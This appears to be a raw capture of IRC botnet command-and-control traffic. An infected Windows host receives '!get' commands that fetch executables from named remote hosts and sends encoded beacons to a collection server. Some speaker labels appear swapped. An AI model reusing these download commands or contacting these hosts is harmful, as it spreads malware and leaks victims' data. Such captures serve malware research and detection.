VICTIM: NICK wrxwtzjnUSER p020500 . . :- VICTIM: Service Pack 2JOIN &virtu ATTACKER: :u. PRIVMSG wrxwtzjn :!get http:/yigeshabi.8800.org:2012/kp.exe:u. PRIVMSG wrxwtzjn :!get http:/newvodavoda.com/ml2.txt VICTIM: GET /ml2.txt HTTP/1.0User-Agent: DownloadHost: newvodavoda.comPragma: no-cache ATTACKER: PING :k. ATTACKER: PONG :k. ATTACKER: GET /list.php?c=B4AC885F94224AE64DAAC6EE0346C213D049B58E0B2969FEDCEBCA8B5FF8F6CEDFE10E13F3845D3386FFC45E0D4897B5778D4CBB9FE6A5F44337&v=2&t=0.4163019 HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 5.00.3315.1000; Windows NT 5.0.2195)Host: mewgost.comConnection: Keep-AlivePragma: no-cache VICTIM: JOIN &virtu ATTACKER: GET /tm/crx.exe?t=0.5061457 HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 5.00.3315.1000; Windows NT 5.0.2195)Host: newvodavoda.comConnection: Keep-AlivePragma: no-cache ATTACKER: GET /sn.php?c=071934D061F133915FB6E7CE571B62A1DD458ABD5B7AD1486206C8BF79DE2B05793650B7B881281A8DE4335AF3FC0FE659928D33E479785AA19568C282FE573C20A0DDA48D5536A9C1FB7C066789C21D12E5EED3255B898FF557D9B4E60E027698CE040E6378CE62A81BBC3BC8C83DA7C2357659C28514332B72B5DADA6C8E30C0C62F860135A01F30012B7A6CAF81FA&t=0.6089289 HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 5.00.3315.1000; Windows NT 5.0.2195)Host: mewgost.comConnection: Keep-AlivePragma: no-cache ATTACKER: GET /sn.php?c=071934D061F133915FB6E7CE571B62A1DD458ABD5B7AD1486206C8BF79DE2B05793650B7B881281A8DE4335AF3FC0FE659928D33E479785AA19568C282FE573C20A0DDA48D5536A9C1FB7C066789C21D12E5EED3255B898FF557D9B4E60E027698CE040E6378CE62A81BBC3BC8C83DA7C2357659C28514332B72B5DADA6C8E30C0C62F860135A01F30012B7A6CAF81FA&t=0.6089289 HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 5.00.3315.1000; Windows NT 5.0.2195)Host: mewgost.comConnection: Keep-AlivePragma: no-cache ATTACKER: GET /sn.php?c=213FAC484BDB9D3F4AA3CCE559156AA941D90B3C7051EB72A9CD502767C0EEC02867799E3A03CEFCBED75831FFF0977E559EFB451C816B4999AD319BB8C4254E098949306FB73BA44E741D674AA4E936CC3B4F72EE908C8A78DAD3BE13FB4B3FE9BFAEA43823FD51B102FD6B956C47CFED183866520105371B0FB8CDF654EC162C3C77D122166DAFDAE2184B7FBFDC5C3CE2&t=0.4448664 HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 5.00.3315.1000; Windows NT 5.0.2195)Host: mewgost.comConnection: Keep-AlivePragma: no-cache ATTACKER: GET /tm/3387x.exe?t=0.7998468 HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 5.00.3315.1000; Windows NT 5.0.2195)Host: newvodavoda.comConnection: Keep-AlivePragma: no-cache ATTACKER: GET /sn.php?c=8698C723E6769734485419336A26DE1B37FE42715002478EEF8A7A0EC41FD980B2CF1204A19895F5C2F94C23EFFFF4EC0EF870CAA9C591B611211C6BC4BB22B9F8B6DCA46E6DAC330339FA80937DF7282DDA98A5A6D840460FADFB969E762F5B02542A203F2408A48437B83F9A9A25BFDC2BDEF1D790A4830158CCA332845DE3B9BC41E5447617D5FEC85A0E844CFB7A&t=0.6094171 HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 5.00.3315.1000; Windows NT 5.0.2195)Host: mewgost.comConnection: Keep-AlivePragma: no-cache ATTACKER: GET /sn.php?c=C1DFC420AB3BD675A1BD89A36824BA7FE52C33005002935AEA8FB2C660BBF7AE403D70662E17B6D6C3F8E18E2B3B100807F15BE125492601FACA295E106FAF34C48ADAA20506EC73F2C8DFA58B65DE01D423566B1668B6B02381204DCD258DF9E7B13933908B55F9982B49DF3AC310988471762823703F0D70647D08E94B9E64829201A971470ECF5F6B227328E9D3539070&t=0.7786066 HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 5.00.3315.1000; Windows NT 5.0.2195)Host: mewgost.comConnection: Keep-AlivePragma: no-cache ATTACKER: PING :k. ATTACKER: PONG :k. VICTIM: JOIN &virtu ATTACKER: PING :k. ATTACKER: PONG :k. VICTIM: JOIN &virtu ATTACKER: PING :k. ATTACKER: PONG :k. VICTIM: JOIN &virtu ATTACKER: PONG :k. VICTIM: JOIN &virtu ATTACKER: PONG :k. VICTIM: JOIN &virtu ATTACKER: PONG :k. VICTIM: JOIN &virtu